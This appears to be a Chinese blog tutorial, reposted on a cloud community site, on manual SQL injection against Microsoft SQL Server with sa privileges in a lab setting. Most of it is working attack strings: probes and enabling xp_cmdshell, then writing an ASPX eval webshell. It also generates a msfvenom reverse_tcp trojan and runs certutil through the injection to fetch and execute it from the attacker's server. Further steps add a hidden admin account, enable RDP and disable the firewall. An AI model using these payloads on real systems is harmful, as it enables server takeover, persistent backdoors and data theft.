前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Microsoft SQL Server手注之Sa权限多种处理姿势

Microsoft SQL Server手注之Sa权限多种处理姿势

作者头像
渗透攻击红队
发布2020-05-26 15:24:43
3.1K0
发布2020-05-26 15:24:43
举报
文章被收录于专栏:漏洞知识库

MSSQL注入探测

MSSQL权限划分

三个权限:sysadmindb_ownerpublic

代码语言:javascript
复制
sysadmin:可以执行所有操作
db_owner:可以执行数据库操作
public:只能执行查询操作

判断注入

注入点:http://192.168.159.135:8080/post.aspx

加了一个单引号报错:

存在注入,而且网站路径为: c:\Inetpub\mssql-sql\post.aspx

判断是否是MSSQL

代码语言:javascript
复制
admin' and exists (select * from sysobjects)  and '1'='1

判断MSSQL版本

代码语言:javascript
复制
admin' and 1=(select @@VERSION)  and '1'='1

判断当前数据库名

代码语言:javascript
复制
admin' And 1=(select db_name())  and '1'='1

判断是否是系统管理员权限sa

代码语言:javascript
复制
admin' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1

xp_cmdshell执行命令

代码语言:javascript
复制
admin' ;exec master..xp_cmdshell "ipconfig" --

虽然系统执行了,但是系统没回显给我们!这是为什么呢?

是因为我们只能执行命令后吧结果保存到一张表里,然后我们通过sql语句来查询这条表才能看到执行的命令结果!

我们在MSSQL客户端是可以执行回显的:

写webshell

低权限也可以写webshell,只要是写权限就可以

代码语言:javascript
复制
有回显:有回显那么我们直接就可以找到webshell的路径
无回显:无回显就只能瞎鸡巴乱懵,看网站存放文件的规则然后Fuzz

因为我们是一个sa的高权限了,我们就可以让它执行一些其他命令来反弹shell或者说是写一个webshell到网站服务器里!

之前我们得到网站的绝对路径是 c:\Inetpub\mssql-sql\post.aspx ,下面这条语句就可以写文件进去了,我们先随便写一段话进去:

代码语言:javascript
复制
admin' ;exec master..xp_cmdshell "echo saulGoodman>c:\Inetpub\mssql-sql\1.txt" --

上帝视角看看:

由上图可见,我们成功写入 saulGoodman 内容到了1.txt里!

小技巧:如何判断它是能执行命令的呢?

我们可以执行这条命令让他去ping 网站10次:

代码语言:javascript
复制
admin' ;exec master..xp_cmdshell "ping -n 10 www.saulgoodman.cn" --

ping -n 10 www.saulgoodman.cn ,这条命令的意思是使用ping命令去像www.saulgoodman.cn去发送10条数据包!如果网站延迟了10秒左右说明我们的命令是可以执行的!

如果没有执行的话,说明它没有开启xp_cmdshell,那么我们可以使用下面的语句去开启他:

代码语言:javascript
复制
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭的话就吧1修改为0

写一句话

aspx 一句话木马:

代码语言:javascript
复制
<% @Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>

写入语句:

代码语言:javascript
复制
admin' ;exec master..xp_cmdshell 'echo ^<^%^@Page Language=^"^Jscript^"^%^>^<^%^eval(Request.Item^[^"saul^"^]^,^"unsafe^")^;^%^>>c:\Inetpub\mssql-sql\1.aspx'--
注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!

上帝视角看看:

由上图可见,我们成功写入到了网站根目录!

蚁剑连接成功:

这样我们就通过注入点来拿到了一个Webshell!

下载执行反向远程控制服务端(木马)

首先要让对方下载我们的恶意文件,那么我们需要有一个服务端,用python开启一个服务端:

代码语言:javascript
复制
python -m SimpleHTTPServer 9000

有了服务端,然后我们在KALI上生成一个反向木马:

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.159.128 lport=8888 -f exe >8888.exe

这个时候我们的木马地址就是:http://192.168.159.128:9000/8888.exe

最后MSF开启监听等待肉鸡上线:

准备工作完成后,我们就可以在注入点上去执行这条命令:(只能2008以上,2003测试失败)

代码语言:javascript
复制
原命令:
certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe
加上注入语句:
admin' ;exec master..xp_cmdshell "certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe" --

然后我们执行:

代码语言:javascript
复制
admin' ;exec master..xp_cmdshell "8888.exe" --

或者还可以一条命令完成:

代码语言:javascript
复制
admin' ;exec master..xp_cmdshell "certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe &&8888.exe" --

成功上线!

添加用户

PS:当前权限是有添加用户的权限,需要administratorsystem

代码语言:javascript
复制
添加用户 saul 并提升为管理员组:
net user saul saul123... /add && net localgroup administrators saul /add
添加 saul 为远程桌面组(有的时候需要添加到远程桌面组才能登陆3308):
net localgroup "Remote Management Users" saul /add
代码语言:javascript
复制
admin' ;exec master..xp_cmdshell "net user saul saul123... /add&net localgroup administrators saul /add"--

上帝视角看看:

登陆远程桌面:mstsc

可以看到登陆成功!

PS:如果登陆之后我们需要吧用户注销!不然用户还是在登陆状态中的!

完成了一些后渗透操作记得要把用户删除

代码语言:javascript
复制
net user saul /del

那么还有一种情况是目标没有开3389又或者是开启了防火墙

那么就可以执行命令让他开3389

代码语言:javascript
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙命令(慎用):

代码语言:javascript
复制
netsh advfirewall set allprofiles state off
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-04-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 SaulGoodman 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • MSSQL注入探测
    • MSSQL权限划分
      • 判断注入
        • 判断是否是MSSQL
          • 判断MSSQL版本
            • 判断当前数据库名
              • 判断是否是系统管理员权限sa
                • xp_cmdshell执行命令
                  • 写webshell
                    • 小技巧:如何判断它是能执行命令的呢?
                      • 写一句话
                        • 下载执行反向远程控制服务端(木马)
                          • 添加用户
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档